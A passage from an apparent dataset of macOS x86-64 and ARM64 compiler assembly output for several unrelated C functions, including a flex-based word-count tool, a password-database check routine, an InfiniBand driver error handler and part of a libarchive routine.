bl _exit
.loh AdrpAdd Lloh338, Lloh339
.loh AdrpAdd Lloh336, Lloh337
.cfi_endproc
; -- End function
.globl _yyin ; @yyin
.zerofill __DATA,__common,_yyin,8,3
.globl _yyout ; @yyout
.zerofill __DATA,__common,_yyout,8,3
.section __DATA,__data
.globl _yylineno ; @yylineno
.p2align 2
_yylineno:
.long 1 ; 0x1
.globl _yy_flex_debug ; @yy_flex_debug
.zerofill __DATA,__common,_yy_flex_debug,4,2
.globl _chars ; @chars
.zerofill __DATA,__common,_chars,8,3
.globl _words ; @words
.zerofill __DATA,__common,_words,8,3
.globl _lines ; @lines
.zerofill __DATA,__common,_lines,8,3
.globl _row_output ; @row_output
.zerofill __DATA,__common,_row_output,1,0
.globl _line_output ; @line_output
.zerofill __DATA,__common,_line_output,1,0
.globl _word_output ; @word_output
.zerofill __DATA,__common,_word_output,1,0
.globl _char_output ; @char_output
.zerofill __DATA,__common,_char_output,1,0
.globl _switch_present ; @switch_present
.zerofill __DATA,__common,_switch_present,1,0
.globl _pipe_output ; @pipe_output
.zerofill __DATA,__common,_pipe_output,1,0
.zerofill __DATA,__bss,_yy_init,1,2 ; @yy_init
.zerofill __DATA,__bss,_yy_start,1,2 ; @yy_start
.zerofill __DATA,__bss,_yy_buffer_stack,8,3 ; @yy_buffer_stack
.zerofill __DATA,__bss,_yy_buffer_stack_top,8,3 ; @yy_buffer_stack_top
.zerofill __DATA,__bss,_yy_c_buf_p,8,3 ; @yy_c_buf_p
.zerofill __DATA,__bss,_yy_hold_char,1,0 ; @yy_hold_char
.section __TEXT,__const
.p2align 2 ; @yy_ec
_yy_ec:
.long 0 ; 0x0
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 2 ; 0x2
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 3 ; 0x3
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.p2align 1 ; @yy_accept
_yy_accept:
.short 0 ; 0x0
.short 0 ; 0x0
.short 0 ; 0x0
.short 5 ; 0x5
.short 3 ; 0x3
.short 2 ; 0x2
.short 1 ; 0x1
.short 1 ; 0x1
.short 0 ; 0x0
.zerofill __DATA,__bss,_yy_last_accepting_state,4,2 ; @yy_last_accepting_state
.zerofill __DATA,__bss,_yy_last_accepting_cpos,8,3 ; @yy_last_accepting_cpos
.p2align 1 ; @yy_chk
_yy_chk:
.short 0 ; 0x0
.short 1 ; 0x1
.short 1 ; 0x1
.short 1 ; 0x1
.short 9 ; 0x9
.short 3 ; 0x3
.short 8 ; 0x8
.short 8 ; 0x8
.short 8 ; 0x8
.short 8 ; 0x8
.p2align 1 ; @yy_base
_yy_base:
.short 0 ; 0x0
.short 0 ; 0x0
.short 0 ; 0x0
.short 5 ; 0x5
.short 6 ; 0x6
.short 6 ; 0x6
.short 0 ; 0x0
.short 0 ; 0x0
.short 6 ; 0x6
.short 2 ; 0x2
.p2align 1 ; @yy_def
_yy_def:
.short 0 ; 0x0
.short 8 ; 0x8
.short 1 ; 0x1
.short 8 ; 0x8
.short 8 ; 0x8
.short 8 ; 0x8
.short 9 ; 0x9
.short 9 ; 0x9
.short 0 ; 0x0
.short 8 ; 0x8
.p2align 2 ; @yy_meta
_yy_meta:
.long 0 ; 0x0
.long 1 ; 0x1
.long 1 ; 0x1
.long 2 ; 0x2
.p2align 1 ; @yy_nxt
_yy_nxt:
.short 0 ; 0x0
.short 4 ; 0x4
.short 5 ; 0x5
.short 6 ; 0x6
.short 7 ; 0x7
.short 8 ; 0x8
.short 3 ; 0x3
.short 8 ; 0x8
.short 8 ; 0x8
.short 8 ; 0x8
.comm _yytext,8,3 ; @yytext
.comm _yyleng,8,3 ; @yyleng
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "flex scanner jammed"
.zerofill __DATA,__bss,_yy_n_chars,8,3 ; @yy_n_chars
l_.str.1: ; @.str.1
.asciz "fatal flex scanner internal error--no action found"
l_.str.2: ; @.str.2
.asciz "out of dynamic memory in yy_create_buffer()"
l_.str.3: ; @.str.3
.asciz "out of dynamic memory in yy_scan_buffer()"
l_.str.4: ; @.str.4
.asciz "out of dynamic memory in yy_scan_bytes()"
l_.str.5: ; @.str.5
.asciz "bad buffer in yy_scan_bytes()"
l_.str.6: ; @.str.6
.asciz "chlprvw"
l_.str.7: ; @.str.7
.asciz "Unknown option `-%c'.\n"
l_.str.8: ; @.str.8
.asciz "Unknown option character `\\x%x'.\n"
l_.str.9: ; @.str.9
.asciz "%s\n"
l_.str.10: ; @.str.10
.asciz "Missing file path."
l_.str.11: ; @.str.11
.asciz "r"
l_.str.12: ; @.str.12
.asciz "%s\t"
l_.str.13: ; @.str.13
.asciz "L: %lu\t\t"
l_.str.14: ; @.str.14
.asciz "W: %lu\t\t"
l_.str.15: ; @.str.15
.asciz "C: %lu"
l_.str.17: ; @.str.17
.asciz "%lu"
l_.str.18: ; @.str.18
.asciz " Lines: %lu\n"
l_.str.19: ; @.str.19
.asciz " Words: %lu\n"
l_.str.20: ; @.str.20
.asciz " Chars: %lu\n"
l_.str.31: ; @.str.31
.asciz "wx v%s\n"
l_.str.32: ; @.str.32
.asciz "0.1.0"
l_.str.33: ; @.str.33
.asciz "fatal flex scanner internal error--end of buffer missed"
l_.str.34: ; @.str.34
.asciz "fatal error - scanner input buffer overflow"
l_.str.35: ; @.str.35
.asciz "input in flex scanner failed"
l_.str.36: ; @.str.36
.asciz "out of dynamic memory in yy_get_next_buffer()"
l_.str.37: ; @.str.37
.asciz "out of dynamic memory in yyensure_buffer_stack()"
.zerofill __DATA,__bss,_yy_buffer_stack_max,8,3 ; @yy_buffer_stack_max
l_str: ; @str
.asciz "\nwx"
l_str.38: ; @str.38
.asciz "---"
l_str.39: ; @str.39
.asciz "Description: Character, word, and line counts.\n"
l_str.40: ; @str.40
.asciz "Usage: wx [-clprw] <file-path>\n"
l_str.41: ; @str.41
.asciz "Options:"
l_str.42: ; @str.42
.asciz "\t-c : Calculate character count"
l_str.43: ; @str.43
.asciz "\t-l : Calculate line count"
l_str.44: ; @str.44
.asciz "\t-p : Only print value to standard out. Use with -c, -l, or -w flag."
l_str.45: ; @str.45
.asciz "\t-r : Print data to standard output in a compressed 'row' view"
l_str.46: ; @str.46
.asciz "\t-w : Calculate word count\n"
.subsections_via_symbols
| the_stack_data/18418.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 4, 0x90 ## -- Begin function pwdb_check
_pwdb_check: ## @pwdb_check
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
subq $104, %rsp
.cfi_offset %rbx, -24
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -16(%rbp)
movq __PATH_PWD_MKDB@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -96(%rbp)
leaq L_.str(%rip), %rax
movq %rax, -104(%rbp)
movq _conf@GOTPCREL(%rip), %rbx
movq (%rbx), %rdi
movq __PATH_PWD@GOTPCREL(%rip), %rax
movl (%rax), %esi
callq _strcmp
testq %rax, %rax
je LBB0_1
## %bb.2:
leaq L_.str.1(%rip), %rax
movq %rax, -96(%rbp)
movq (%rbx), %rax
movq %rax, -88(%rbp)
movl $2, %ebx
jmp LBB0_3
LBB0_1:
xorl %ebx, %ebx
LBB0_3:
movq __MASTERPASSWD@GOTPCREL(%rip), %rax
movl (%rax), %edi
callq _getpwpath
movl %ebx, %ecx
orl $1, %ebx
movl %ebx, -100(%rbp)
movq %rax, -96(%rbp,%rcx,8)
movq $0, -96(%rbp,%rbx,8)
xorl %eax, %eax
callq _fork
cmpl $-1, %eax
je LBB0_4
## %bb.5:
testl %eax, %eax
je LBB0_10
## %bb.6:
leaq -100(%rbp), %rbx
movl %eax, %edi
movq %rbx, %rsi
xorl %edx, %edx
callq _waitpid
movl -100(%rbp), %edi
callq _WEXITSTATUS
testq %rax, %rax
je LBB0_8
## %bb.7:
movq _EIO@GOTPCREL(%rip), %rbx
jmp LBB0_8
LBB0_4:
movq _errno@GOTPCREL(%rip), %rbx
LBB0_8:
movl (%rbx), %eax
movq ___stack_chk_guard@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
cmpq -16(%rbp), %rcx
jne LBB0_11
## %bb.9:
addq $104, %rsp
popq %rbx
popq %rbp
retq
LBB0_11:
callq ___stack_chk_fail
LBB0_10:
movq -96(%rbp), %rdi
leaq -96(%rbp), %rsi
callq _execv
movl $1, %edi
callq __exit
.cfi_endproc
## -- End function
.comm __PATH_PWD_MKDB,8,3 ## @_PATH_PWD_MKDB
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "-C"
.comm _conf,8,3 ## @conf
.comm __PATH_PWD,4,2 ## @_PATH_PWD
L_.str.1: ## @.str.1
.asciz "-d"
.comm __MASTERPASSWD,4,2 ## @_MASTERPASSWD
.comm _errno,4,2 ## @errno
.comm _EIO,4,2 ## @EIO
.no_dead_strip _pwdb_check
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 2 ; -- Begin function pwdb_check
_pwdb_check: ; @pwdb_check
.cfi_startproc
; %bb.0:
sub sp, sp, #128
stp x20, x19, [sp, #96] ; 16-byte Folded Spill
stp x29, x30, [sp, #112] ; 16-byte Folded Spill
add x29, sp, #112
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
Lloh0:
adrp x8, ___stack_chk_guard@GOTPAGE
Lloh1:
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
Lloh2:
ldr x8, [x8]
Lloh3:
adrp x9, __PATH_PWD_MKDB@GOTPAGE
Lloh4:
ldr x9, [x9, __PATH_PWD_MKDB@GOTPAGEOFF]
stur x8, [x29, #-24]
Lloh5:
ldr x8, [x9]
Lloh6:
adrp x9, l_.str@PAGE
Lloh7:
add x9, x9, l_.str@PAGEOFF
stp x9, x8, [sp]
Lloh8:
adrp x19, _conf@GOTPAGE
Lloh9:
ldr x19, [x19, _conf@GOTPAGEOFF]
ldr x0, [x19]
Lloh10:
adrp x8, __PATH_PWD@GOTPAGE
Lloh11:
ldr x8, [x8, __PATH_PWD@GOTPAGEOFF]
Lloh12:
ldr w1, [x8]
bl _strcmp
cbz x0, LBB0_2
; %bb.1:
ldr x8, [x19]
Lloh13:
adrp x9, l_.str.1@PAGE
Lloh14:
add x9, x9, l_.str.1@PAGEOFF
stp x9, x8, [sp, #8]
mov w19, #2 ; =0x2
b LBB0_3
LBB0_2:
mov w19, #0 ; =0x0
LBB0_3:
Lloh15:
adrp x8, __MASTERPASSWD@GOTPAGE
Lloh16:
ldr x8, [x8, __MASTERPASSWD@GOTPAGEOFF]
Lloh17:
ldr w0, [x8]
bl _getpwpath
orr w8, w19, #0x1
str w8, [sp, #4]
add x9, sp, #8
str x0, [x9, w19, uxtw #3]
str xzr, [x9, w8, uxtw #3]
bl _fork
cmn w0, #1
b.eq LBB0_6
; %bb.4:
cbz w0, LBB0_10
; %bb.5:
add x19, sp, #4
add x1, sp, #4
mov w2, #0 ; =0x0
bl _waitpid
ldr w0, [sp, #4]
bl _WEXITSTATUS
Lloh18:
adrp x8, _EIO@GOTPAGE
Lloh19:
ldr x8, [x8, _EIO@GOTPAGEOFF]
cmp x0, #0
csel x8, x19, x8, eq
b LBB0_7
LBB0_6:
Lloh20:
adrp x8, _errno@GOTPAGE
Lloh21:
ldr x8, [x8, _errno@GOTPAGEOFF]
LBB0_7:
ldr w0, [x8]
ldur x8, [x29, #-24]
Lloh22:
adrp x9, ___stack_chk_guard@GOTPAGE
Lloh23:
ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF]
Lloh24:
ldr x9, [x9]
cmp x9, x8
b.ne LBB0_9
; %bb.8:
ldp x29, x30, [sp, #112] ; 16-byte Folded Reload
ldp x20, x19, [sp, #96] ; 16-byte Folded Reload
add sp, sp, #128
ret
LBB0_9:
bl ___stack_chk_fail
LBB0_10:
ldr x0, [sp, #8]
add x1, sp, #8
bl _execv
mov w0, #1 ; =0x1
bl __exit
.loh AdrpLdrGotLdr Lloh10, Lloh11, Lloh12
.loh AdrpLdrGot Lloh8, Lloh9
.loh AdrpAdd Lloh6, Lloh7
.loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpAdd Lloh13, Lloh14
.loh AdrpLdrGotLdr Lloh15, Lloh16, Lloh17
.loh AdrpLdrGot Lloh18, Lloh19
.loh AdrpLdrGot Lloh20, Lloh21
.loh AdrpLdrGotLdr Lloh22, Lloh23, Lloh24
.cfi_endproc
; -- End function
.comm __PATH_PWD_MKDB,8,3 ; @_PATH_PWD_MKDB
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "-C"
.comm _conf,8,3 ; @conf
.comm __PATH_PWD,4,2 ; @_PATH_PWD
l_.str.1: ; @.str.1
.asciz "-d"
.comm __MASTERPASSWD,4,2 ; @_MASTERPASSWD
.comm _errno,4,2 ; @errno
.comm _EIO,4,2 ; @EIO
.no_dead_strip _pwdb_check
.subsections_via_symbols
| assembly_file_184152.c | assembly_dataset |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function ipath_rcv_hdrerr
_ipath_rcv_hdrerr: ## @ipath_rcv_hdrerr
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $168, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %r9, %rbx
movq %r8, %r15
## kill: def $ecx killed $ecx def $rcx
movq %rcx, -200(%rbp) ## 8-byte Spill
movl %edx, -180(%rbp) ## 4-byte Spill
movl %esi, %r13d
movq %rdi, -192(%rbp) ## 8-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -48(%rbp)
leaq -176(%rbp), %rsi
movl %r13d, %edi
movl $128, %edx
callq _get_rhf_errstring
movq _PKT@GOTPCREL(%rip), %rax
movl (%rax), %r12d
movq %r15, %rdi
callq _ipath_hdrget_rcv_type
movl %eax, %r14d
movq %r15, %rdi
callq _ipath_hdrget_length_in_bytes
movl %eax, %r15d
movq (%rbx), %rax
movl (%rax), %edi
callq _be32_to_cpu
## kill: def $eax killed $eax def $rax
sarl $24, %eax
subq $8, %rsp
leaq L_.str(%rip), %rsi
movl %r12d, %edi
movl %r13d, %edx
movl -180(%rbp), %ecx ## 4-byte Reload
movl %r14d, %r8d
movl %r15d, %r9d
leaq -176(%rbp), %rbx
pushq %rbx
pushq -200(%rbp) ## 8-byte Folded Reload
pushq %rax
callq _ipath_cdbg
addq $32, %rsp
movq _INFINIPATH_RHF_H_ICRCERR@GOTPCREL(%rip), %rax
movq _INFINIPATH_RHF_H_VCRCERR@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
orl (%rax), %ecx
testl %r13d, %ecx
je LBB0_3
## %bb.1:
movq _INFINIPATH_IBCC_PHYERRTHRESHOLD_SHIFT@GOTPCREL(%rip), %rax
movb (%rax), %cl
movq -192(%rbp), %rsi ## 8-byte Reload
movq (%rsi), %rax
sarq %cl, %rax
movq _INFINIPATH_IBCC_PHYERRTHRESHOLD_MASK@GOTPCREL(%rip), %rcx
andq (%rcx), %rax
movq 8(%rsi), %rcx
leaq 1(%rcx), %rdx
movq %rdx, 8(%rsi)
cmpq %rax, %rcx
jl LBB0_3
## %bb.2:
movq -192(%rbp), %rax ## 8-byte Reload
movq $0, 8(%rax)
incl 16(%rax)
LBB0_3:
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
cmpq -48(%rbp), %rax
jne LBB0_5
## %bb.4:
addq $168, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB0_5:
callq ___stack_chk_fail
.cfi_endproc
## -- End function
.comm _PKT,4,2 ## @PKT
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "RHFerrs %x hdrqtail=%x typ=%u tlen=%x opcode=%x egridx=%x: %s\n"
.comm _INFINIPATH_RHF_H_ICRCERR,4,2 ## @INFINIPATH_RHF_H_ICRCERR
.comm _INFINIPATH_RHF_H_VCRCERR,4,2 ## @INFINIPATH_RHF_H_VCRCERR
.comm _INFINIPATH_IBCC_PHYERRTHRESHOLD_SHIFT,8,3 ## @INFINIPATH_IBCC_PHYERRTHRESHOLD_SHIFT
.comm _INFINIPATH_IBCC_PHYERRTHRESHOLD_MASK,8,3 ## @INFINIPATH_IBCC_PHYERRTHRESHOLD_MASK
.no_dead_strip _ipath_rcv_hdrerr
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function ipath_rcv_hdrerr
_ipath_rcv_hdrerr: ; @ipath_rcv_hdrerr
.cfi_startproc
; %bb.0:
sub sp, sp, #240
.cfi_def_cfa_offset 240
stp x28, x27, [sp, #144] ; 16-byte Folded Spill
stp x26, x25, [sp, #160] ; 16-byte Folded Spill
stp x24, x23, [sp, #176] ; 16-byte Folded Spill
stp x22, x21, [sp, #192] ; 16-byte Folded Spill
stp x20, x19, [sp, #208] ; 16-byte Folded Spill
stp x29, x30, [sp, #224] ; 16-byte Folded Spill
add x29, sp, #224
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
.cfi_offset w27, -88
.cfi_offset w28, -96
mov x20, x5
mov x21, x4
mov x22, x3
mov x23, x2
mov x24, x1
mov x19, x0
Lloh0:
adrp x8, ___stack_chk_guard@GOTPAGE
Lloh1:
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
Lloh2:
ldr x8, [x8]
stur x8, [x29, #-88]
add x27, sp, #8
add x1, sp, #8
mov x0, x24
mov w2, #128
bl _get_rhf_errstring
Lloh3:
adrp x8, _PKT@GOTPAGE
Lloh4:
ldr x8, [x8, _PKT@GOTPAGEOFF]
Lloh5:
ldr w25, [x8]
mov x0, x21
bl _ipath_hdrget_rcv_type
mov x26, x0
mov x0, x21
bl _ipath_hdrget_length_in_bytes
mov x21, x0
ldr x8, [x20]
ldr w0, [x8]
bl _be32_to_cpu
asr w6, w0, #24
str x27, [sp]
Lloh6:
adrp x1, l_.str@PAGE
Lloh7:
add x1, x1, l_.str@PAGEOFF
mov x0, x25
mov x2, x24
mov x3, x23
mov x4, x26
mov x5, x21
mov x7, x22
bl _ipath_cdbg
Lloh8:
adrp x8, _INFINIPATH_RHF_H_ICRCERR@GOTPAGE
Lloh9:
ldr x8, [x8, _INFINIPATH_RHF_H_ICRCERR@GOTPAGEOFF]
Lloh10:
ldr w8, [x8]
Lloh11:
adrp x9, _INFINIPATH_RHF_H_VCRCERR@GOTPAGE
Lloh12:
ldr x9, [x9, _INFINIPATH_RHF_H_VCRCERR@GOTPAGEOFF]
Lloh13:
ldr w9, [x9]
orr w8, w9, w8
tst w8, w24
b.eq LBB0_3
; %bb.1:
Lloh14:
adrp x8, _INFINIPATH_IBCC_PHYERRTHRESHOLD_SHIFT@GOTPAGE
Lloh15:
ldr x8, [x8, _INFINIPATH_IBCC_PHYERRTHRESHOLD_SHIFT@GOTPAGEOFF]
Lloh16:
ldr x8, [x8]
Lloh17:
adrp x9, _INFINIPATH_IBCC_PHYERRTHRESHOLD_MASK@GOTPAGE
Lloh18:
ldr x9, [x9, _INFINIPATH_IBCC_PHYERRTHRESHOLD_MASK@GOTPAGEOFF]
ldp x10, x11, [x19]
asr x8, x10, x8
Lloh19:
ldr x9, [x9]
and x8, x8, x9
add x9, x11, #1
str x9, [x19, #8]
cmp x11, x8
b.lt LBB0_3
; %bb.2:
str xzr, [x19, #8]
ldr w8, [x19, #16]
add w8, w8, #1
str w8, [x19, #16]
LBB0_3:
ldur x8, [x29, #-88]
Lloh20:
adrp x9, ___stack_chk_guard@GOTPAGE
Lloh21:
ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF]
Lloh22:
ldr x9, [x9]
cmp x9, x8
b.ne LBB0_5
; %bb.4:
ldp x29, x30, [sp, #224] ; 16-byte Folded Reload
ldp x20, x19, [sp, #208] ; 16-byte Folded Reload
ldp x22, x21, [sp, #192] ; 16-byte Folded Reload
ldp x24, x23, [sp, #176] ; 16-byte Folded Reload
ldp x26, x25, [sp, #160] ; 16-byte Folded Reload
ldp x28, x27, [sp, #144] ; 16-byte Folded Reload
add sp, sp, #240
ret
LBB0_5:
bl ___stack_chk_fail
.loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13
.loh AdrpLdrGotLdr Lloh8, Lloh9, Lloh10
.loh AdrpAdd Lloh6, Lloh7
.loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpLdrGotLdr Lloh17, Lloh18, Lloh19
.loh AdrpLdrGotLdr Lloh14, Lloh15, Lloh16
.loh AdrpLdrGotLdr Lloh20, Lloh21, Lloh22
.cfi_endproc
; -- End function
.comm _PKT,4,2 ; @PKT
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "RHFerrs %x hdrqtail=%x typ=%u tlen=%x opcode=%x egridx=%x: %s\n"
.comm _INFINIPATH_RHF_H_ICRCERR,4,2 ; @INFINIPATH_RHF_H_ICRCERR
.comm _INFINIPATH_RHF_H_VCRCERR,4,2 ; @INFINIPATH_RHF_H_VCRCERR
.comm _INFINIPATH_IBCC_PHYERRTHRESHOLD_SHIFT,8,3 ; @INFINIPATH_IBCC_PHYERRTHRESHOLD_SHIFT
.comm _INFINIPATH_IBCC_PHYERRTHRESHOLD_MASK,8,3 ; @INFINIPATH_IBCC_PHYERRTHRESHOLD_MASK
.no_dead_strip _ipath_rcv_hdrerr
.subsections_via_symbols
| AnghaBench/fastsocket/kernel/drivers/infiniband/hw/ipath/extr_ipath_driver.c_ipath_rcv_hdrerr.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function advance_multivolume
_advance_multivolume: ## @advance_multivolume
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
.cfi_offset %rbx, -48
.cfi_offset %r12, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdi, %rbx
callq _get_context
movq %rax, %r14
cmpl $1, (%rax)
jne LBB0_1
LBB0_7:
movl $0, (%r14)
.p2align 4, 0x90
LBB0_8: ## =>This Inner Loop Header: Depth=1
movq %rbx, %rdi
callq _skip_base_block
cmpl $128, %eax
je LBB0_8
## %bb.9:
cmpl $129, %eax
jne LBB0_11
## %bb.10:
movl $129, %eax
jmp LBB0_11
LBB0_1:
movq _ARCHIVE_FATAL@GOTPCREL(%rip), %r15
movq _ARCHIVE_FAILED@GOTPCREL(%rip), %r12
jmp LBB0_2
.p2align 4, 0x90
LBB0_6: ## in Loop: Header=BB0_2 Depth=1
cmpl $1, %ecx
je LBB0_7
